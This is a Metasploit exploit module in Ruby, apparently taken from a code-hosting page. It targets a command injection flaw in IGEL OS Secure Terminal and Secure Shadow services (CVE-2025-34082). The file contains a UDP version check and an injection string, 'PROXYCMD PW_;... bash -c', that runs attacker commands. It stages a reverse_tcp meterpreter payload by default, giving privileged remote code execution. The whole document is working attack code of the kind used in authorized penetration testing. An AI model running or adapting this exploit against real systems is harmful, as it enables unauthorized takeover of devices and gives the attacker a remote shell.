Path: blob/master/modules/exploits/linux/misc/igel_command_injection.rb
28612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::Tcp10include Msf::Exploit::CmdStager11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'IGEL OS Secure VNC/Terminal Command Injection RCE',18'Description' => %q{19This module exploits a command injection vulnerability in IGEL OS Secure Terminal20and Secure Shadow services.2122Both Secure Terminal (telnet_ssl_connector - 30022/tcp) and Secure23Shadow (vnc_ssl_connector - 5900/tcp) services are vulnerable.24},25'License' => MSF_LICENSE,26'Author' => [27'Rob Vinson', # Discovery28'James Brytan', # Research and testing29'James Smith', # Research and testing30'Marisa Mack', # Research and testing31'Sergey Pashevkin', # Research and testing32'Steven Laura' # Research and testing33],34'References' => [35[ 'CVE', '2025-34082' ],36[ 'URL', 'https://kb.igel.com/securitysafety/en/isn-2021-01-igel-os-remote-command-execution-vulnerability-41449239.html' ],37[ 'URL', 'https://www.igel.com/wp-content/uploads/2021/02/lxos_11.04.270.txt' ]38],39'Platform' => ['linux'],40'Arch' => [ARCH_X86, ARCH_X64],41'Targets' => [42[43'Secure Terminal Service',44{45'Arch' => [ARCH_X86, ARCH_X64],46'Type' => :cmd,47'Platform' => 'linux',48'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 30022 }49}50],51[52'Secure Shadow Service',53{54'Arch' => [ARCH_X86, ARCH_X64],55'Type' => :cmd,56'Platform' => 'linux',57'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'RPORT' => 5900 }58}59],60],61'Privileged' => true,62'DisclosureDate' => '2021-02-25',63'CmdStagerFlavor' => ['printf'],64'DefaultTarget' => 0,65'DefaultOptions' => {66'PrependFork' => true67},68'Notes' => {69'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],70'Reliability' => [REPEATABLE_SESSION],71'Stability' => [CRASH_SAFE]72}73)74)7576register_advanced_options(77[78# must enable SSL79OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true]),80]81)82end8384def check85probe = '<igel_scan></igel_scan>'8687connect_udp(true, 'RPORT' => 30005)88udp_sock.put(probe)89res = udp_sock.recvfrom(65535, 0.5)90disconnect_udp9192unless res && res[0]93return Exploit::CheckCode::Unknown94end9596probe_response = res[0]97matches = probe_response.match(/firmwareversion=<([0-9.]+)>/)98unless matches99return Exploit::CheckCode::Unknown100end101102version = matches.captures[0]103vprint_status("IGEL OS Version: #{version}")104version = Rex::Version.new(version)105106if version < Rex::Version.new('10.06.220') && version >= Rex::Version.new('10.0.0')107return Exploit::CheckCode::Appears108elsif version < Rex::Version.new('11.04') && version >= Rex::Version.new('11.03.620')109return Exploit::CheckCode::Safe110elsif version < Rex::Version.new('11.04.270') && version >= Rex::Version.new('11.0.0')111return Exploit::CheckCode::Appears112end113114return Exploit::CheckCode::Safe115end116117def execute_command(cmd, _opts = {})118vprint_status("executing: #{cmd}")119connect120sock.put(%(PROXYCMD PW_;/usr/bin/systemd-run --scope bash -c "#{cmd}";false))121ensure122disconnect123end124125def exploit126execute_cmdstager(linemax: 150, noconcat: true, delay: 2)127rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e128fail_with(Failure::Unreachable, "Failed executing payload with error #{e}.")129end130131end132133134